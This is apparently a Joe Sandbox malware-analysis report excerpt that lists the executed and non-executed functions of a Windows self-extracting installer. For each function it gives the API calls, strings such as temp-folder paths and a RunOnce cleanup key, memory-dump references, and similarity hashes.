CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,003E5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E5943
LocalFree.KERNEL32(00000000,?,003E5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E594D
CloseHandle.KERNEL32(00000000,?,003E5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,003E5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003E5963

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E58CD, 003E58CF, 003E5919, 003E5962
TMP4351$.TMP, xrefs: 003E5923

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-1330067808
Opcode ID: 0a5d3e8ed668fed37a93e6a413c509d5d38045d15940efe5132364234aa47b3f
Instruction ID: 62606e2afcc711f4245f0234e5f2d6df1c21b9cabedc10972a1c16d68c01a3d4
Opcode Fuzzy Hash: 0a5d3e8ed668fed37a93e6a413c509d5d38045d15940efe5132364234aa47b3f
Instruction Fuzzy Hash: AF11D0726006A0AAC7265B7BAC8DBDB7A9DDB86364F110715B50ADA2D2CB709C0586A0

Function 003E3FEF Relevance: 10.6, APIs: 7, Instructions: 97processsynchronizationwindowCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 003E4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 003E4049
GetExitCodeProcess.KERNELBASE(?,?), ref: 003E405C
CloseHandle.KERNEL32(?), ref: 003E409C
CloseHandle.KERNEL32(?), ref: 003E40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003E40DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 003E40E9

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 229ab41dd49c9aa64eca9ee604427a598835d5c06a0bd8fa4059960bc96821bb
Instruction ID: 1b71f4be34f37f812fbe0dd9ff077eeffffb21ba8822b25aa71bbc9f47370ff0
Opcode Fuzzy Hash: 229ab41dd49c9aa64eca9ee604427a598835d5c06a0bd8fa4059960bc96821bb
Instruction Fuzzy Hash: CA31A7316406A8ABEB329B66DC89FABB77CEB98710F100369F605D91E1C6305D85CB11

Function 003E51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,003E2F4D,?,00000002,00000000), ref: 003E5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 003E5250

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Part of subcall function 003E6285: GetLastError.KERNEL32(003E5BBC), ref: 003E6285

Strings

UPROMPT, xrefs: 003E51EF, 003E5230
<None>, xrefs: 003E5262

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: ed130fbaf6adb9ff3eab9c901820a78b8cd549d7571da0a36f56004357372014
Instruction ID: 5dd507bbd4174838edf57d6a86e949ddbccfbb1f1f93f7312e1e950d575b7b8d
Opcode Fuzzy Hash: ed130fbaf6adb9ff3eab9c901820a78b8cd549d7571da0a36f56004357372014
Instruction Fuzzy Hash: 8311E2B52006E1ABE3376B739C89B3B719DDB88394F114B29F702DE2D0DA799C005624

Function 003E3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,003E2F64,?,00000002,00000000), ref: 003E3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 003E3AB3

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Part of subcall function 003E6285: GetLastError.KERNEL32(003E5BBC), ref: 003E6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 003E3AD0
LocalFree.KERNEL32 ref: 003E3B13

Part of subcall function 003E6517: FindResourceA.KERNEL32(003E0000,000007D6,00000005), ref: 003E652A
Part of subcall function 003E6517: LoadResource.KERNEL32(003E0000,00000000,?,?,003E2EE8,00000000,003E19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 003E6538
Part of subcall function 003E6517: DialogBoxIndirectParamA.USER32(003E0000,00000000,00000547,003E19E0,00000000), ref: 003E6557
Part of subcall function 003E6517: FreeResource.KERNEL32(00000000,?,?,003E2EE8,00000000,003E19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 003E6560

LocalFree.KERNEL32(00000000,003E3100,00000000,00000000), ref: 003E3AF4

Strings

LICENSE, xrefs: 003E3A46
<None>, xrefs: 003E3AC5

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: d2cc7ddb01b1caad7b1b297e32ae2a5c24de4f606eaceed9e283b41a040f54cd
Instruction ID: e316f2f44a77d860f4f272488d47078156643b0752f2ac52c25f207fd30dccc1
Opcode Fuzzy Hash: d2cc7ddb01b1caad7b1b297e32ae2a5c24de4f606eaceed9e283b41a040f54cd
Instruction Fuzzy Hash: 901190306002E1ABD733AB23AC4DF577AADDBD9750F10472EB546DE2E1DA7988009A60

Function 003E52B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(02B13318,00000080,?,00000000), ref: 003E52F2
DeleteFileA.KERNELBASE(02B13318), ref: 003E52FA
LocalFree.KERNEL32(02B13318,?,00000000), ref: 003E5305
LocalFree.KERNEL32(02B13318), ref: 003E530C
SetCurrentDirectoryA.KERNELBASE(003E11FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 003E5363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E5334

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-388467436
Opcode ID: 621372e670e64a7589d853b7f44e338f14f366ac311565feded837a77af1eb62
Instruction ID: c0bed0c306ace6c787ec50843fe035ba868e23440dbd28a443d55c310b252d56
Opcode Fuzzy Hash: 621372e670e64a7589d853b7f44e338f14f366ac311565feded837a77af1eb62
Instruction Fuzzy Hash: 0621A435900AE4DFDB339B12DD8976977B8AB14754F05036AE8455E2E0CFB06C84CB40

Function 003E1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,003E538C,?,?,003E538C), ref: 003E2005
RegDeleteValueA.KERNELBASE(003E538C,wextract_cleanup0,?,?,003E538C), ref: 003E2017
RegCloseKey.ADVAPI32(003E538C,?,?,003E538C), ref: 003E2020

Strings

wextract_cleanup0, xrefs: 003E1FE7, 003E200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 003E1FFB

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 8c5f14f1b9ac378e60f75f83250c60f6c6d9aff91fb667dba50df1f5c038cb2e
Instruction ID: 212bf7affdfebc90b66c68730e21be0c026df6e4cf5fca06f8ca63dd5c9265d0
Opcode Fuzzy Hash: 8c5f14f1b9ac378e60f75f83250c60f6c6d9aff91fb667dba50df1f5c038cb2e
Instruction Fuzzy Hash: A8E04F319503A8BBD7339B92EC8AF5A7B2DF701740F100394F908A40E1EB617E14E605

Function 003E4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 003E4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 003E4DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E4D36, 003E4DE3

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-388467436
Opcode ID: abe108a8da025a7603d6a9d687ba56d12111c178492dca8fcb453f7e7564d54b
Instruction ID: 48c8960df22f2a904d25c7a154211f11c6f63bfbdd3a16c97c1dc4933fc4d2e1
Opcode Fuzzy Hash: abe108a8da025a7603d6a9d687ba56d12111c178492dca8fcb453f7e7564d54b
Instruction Fuzzy Hash: F04126366001A59BCB238F2ADD447F673A9EB8D300F154769D8829B6C2DA31DE46C790

Function 003E4C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 003E4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 003E4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 003E4C7E

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 0fac67975e7c6035fa602ca9a38d373e93d21d9951fdd561c90661ccffed8e86
Instruction ID: 4c95d6287f784f2fa7f1928215d5d35915ffd4b62acdccfa9cd7643926d502c4
Opcode Fuzzy Hash: 0fac67975e7c6035fa602ca9a38d373e93d21d9951fdd561c90661ccffed8e86
Instruction Fuzzy Hash: EEF0627250125CBB9B26DFA6CC489FB77ACEB0C344B44072AA415C20D0EA30F914D761

Function 003E487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,003E4A23,?,003E4F67,*MEMCAB,00008000,00000180), ref: 003E48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,003E4F67,*MEMCAB,00008000,00000180), ref: 003E4902

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c7b21e62dbfdef5b6b4d005b1e5b40e464944718f0f48ffe8ba2a05b67719e1
Instruction ID: 4b788196f5258f0e2454750387a64e06fcaf728ba37859ae6517cbf8dee5d0de
Opcode Fuzzy Hash: 0c7b21e62dbfdef5b6b4d005b1e5b40e464944718f0f48ffe8ba2a05b67719e1
Instruction Fuzzy Hash: D0016DA3E115B026F326402A4C88FB7551CCBDA734F1B0334BDEAEB1D2D6A55C0491E0

Function 003E4AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003E3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 003E369F
Part of subcall function 003E3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003E36B2
Part of subcall function 003E3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003E36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 003E4B05

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 51cd4fd802f0bed0d485f76b0f79219554b8b2233a1c30a13603f50e37aa0dfe
Instruction ID: c371c5b8afd4776e8b0e5f44262d5bc79b09c345c6d6b61c18978a56a13ae6cc
Opcode Fuzzy Hash: 51cd4fd802f0bed0d485f76b0f79219554b8b2233a1c30a13603f50e37aa0dfe
Instruction Fuzzy Hash: E7018031600295ABDB278F6ADC85BA2775EF748725F058325F9799F5E0CB70D811CB40

Function 003E658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(003E8B3E,003E8B3F,00000001,003E8B3E,-00000003,?,003E60EC,003E1140,?), ref: 003E65BA

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 4fd6d907d199019e02df5719740c3d1ddbaec8349c664c6c745ae54faabeb1ff
Instruction ID: c3cb716f2bce9e0cbc2c89dd0915ffb721521d42364ee23f9ad64d8fe32b1c5b
Opcode Fuzzy Hash: 4fd6d907d199019e02df5719740c3d1ddbaec8349c664c6c745ae54faabeb1ff
Instruction Fuzzy Hash: A8F02D323042F09BD333051B9884B67BFDD9BA7390F15075EE8DA872C5CA655C4583A4

Function 003E621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003E623F

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Part of subcall function 003E6285: GetLastError.KERNEL32(003E5BBC), ref: 003E6285

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: e2cc64c89a103b6409a5905022ff276f7dc4084a7ac9a96e8e10570a7d6793e8
Instruction ID: 193334d4c2f2397c09b0737564ee8052f4d978c8d7da4e9fa06a0c9dd4c2611c
Opcode Fuzzy Hash: e2cc64c89a103b6409a5905022ff276f7dc4084a7ac9a96e8e10570a7d6793e8
Instruction Fuzzy Hash: DCF0B470704258ABD761EB758D43BBE36ACDB54340F40066ABA85DE1C2DD749D448650

Function 003E66AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,003E4777,?,003E4E38,?), ref: 003E66B1

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 85834e32486aee6998deac5e1e69641dd6d342bbb7d9b67a727f0a1e950d2eee
Instruction ID: 50cf9d6ed66763d205c2bce9c882333f3e1a27e20928be4402165764feed3e95
Opcode Fuzzy Hash: 85834e32486aee6998deac5e1e69641dd6d342bbb7d9b67a727f0a1e950d2eee
Instruction Fuzzy Hash: E2B09276232890426A2216326C6A5562845A6D133ABE62B94F032C01E0CA3ED946D004

Function 003E4B60 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(83EEBC7E,00000000,00000000,?,003E4FA1,00000000), ref: 003E4B98

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 75b994dcbd305fbffc4f86217846420301cdb20ec0a445ca64b768176572ea54
Instruction ID: 7b24c564b8126aed72475650f18eb86eb6e35d900a4051cc468051f7bace89ff
Opcode Fuzzy Hash: 75b994dcbd305fbffc4f86217846420301cdb20ec0a445ca64b768176572ea54
Instruction Fuzzy Hash: 27F01231D00B9D9E4773DF3ACC10653BBE8BA953603100B2EA4AED21D0DB31A852EB91

Function 003E4CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 003E4CAA

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 34b8f9d7fdf39783525bd78b2f04e4aa8cd0c06a7b27a13603abc81f37ec30aa
Instruction ID: 863fe4b4e3085d8f48376dd4e68296d028fd8597b8e6129c5cc4b1fb152cef0b
Opcode Fuzzy Hash: 34b8f9d7fdf39783525bd78b2f04e4aa8cd0c06a7b27a13603abc81f37ec30aa
Instruction Fuzzy Hash: 80B0123304424CB7CF111FC2EC09FC53F1DE7C4761F150000F60C490908A72A9108696

Function 003E4CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 003E4CC8

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 70e49948fcf122634faae32073da075278f2280bfdc10bfb30205b5f4996cda8
Instruction ID: d56c6e9cec4d7dbb63178589ca63003b7cf06f030d6f2cd8f4b14a29d3f5cc43
Opcode Fuzzy Hash: 70e49948fcf122634faae32073da075278f2280bfdc10bfb30205b5f4996cda8
Instruction Fuzzy Hash: 1AB0123100014CB78F111B42EC088853F1DD6C0370B000010F50C450218B33AC118585

Non-executed Functions

Function 003E5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 003E5CEE
GetModuleFileNameA.KERNEL32(003E8B3E,00000104,00000000,?,?), ref: 003E5DFC
CharUpperA.USER32(?), ref: 003E5E3E
CharUpperA.USER32(-00000052), ref: 003E5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 003E5F6F
CharUpperA.USER32(?), ref: 003E5FA7
CharUpperA.USER32(-0000004E), ref: 003E6008
CharUpperA.USER32(?), ref: 003E60AA
CloseHandle.KERNEL32(00000000,003E1140,00000000,00000040,00000000), ref: 003E61F1
ExitProcess.KERNEL32 ref: 003E61F8
